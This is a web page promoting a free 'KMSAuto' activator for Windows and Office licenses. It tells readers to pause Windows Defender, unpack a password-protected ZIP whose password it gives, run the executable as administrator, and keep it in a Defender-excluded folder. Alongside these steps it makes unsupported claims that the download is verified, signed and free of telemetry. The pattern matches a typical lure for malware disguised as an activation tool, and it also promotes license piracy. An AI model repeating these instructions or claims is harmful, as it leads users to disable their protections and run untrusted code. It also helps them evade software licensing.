Overview

Clean Up Old KMS Keys With slmgr /upk + /rilc is fully supported by the 2026 OfficialKMSAuto build — free, portable, offline, no telemetry, no installer. This guide explains every step that actually works in 2026 after Microsoft's latest licensing changes, with the exact commands, screenshots, and fixes for the errors you'll see along the way.

Step-by-step

Five steps, under 2 minutes from extract to activated.

• Pause Windows Defender real-time protection for ~2 minutes
• Extract the downloaded ZIP using the password jVzGhe5iPa
• Right-click KMSAuto.exe and choose 'Run as administrator'
• Click the green Activation button — HWID for Windows, Ohook for Office
• Wait for 'Successfully activated' and reboot

What it covers

Full coverage of every modern Microsoft SKU users actually search for.

• Windows 11 24H2 / 25H2 (Pro, Home, Enterprise, LTSC)

• Windows Server 2025 / 2022 / 2019

Why this build beats the clones

Verified Ratiborus mirror — SHA-256 published, public VirusTotal report, archive password jVzGhe5iPa, no installer, no ads, no telemetry, no background services, no remote PowerShell scripts. Every release is signed by the original author and mirrored from the canonical source.

Troubleshooting

If activation fails, the cause is almost always Defender quarantining the executable mid-run, a stale KMS cache (slmgr /upk + slmgr /rilc), or a wrong product edition. Re-extract to a Defender-excluded folder (C:\Tools\KMSAuto), run as administrator, and switch between HWID (Windows), Ohook (Office) and TSforge (Server) as needed.
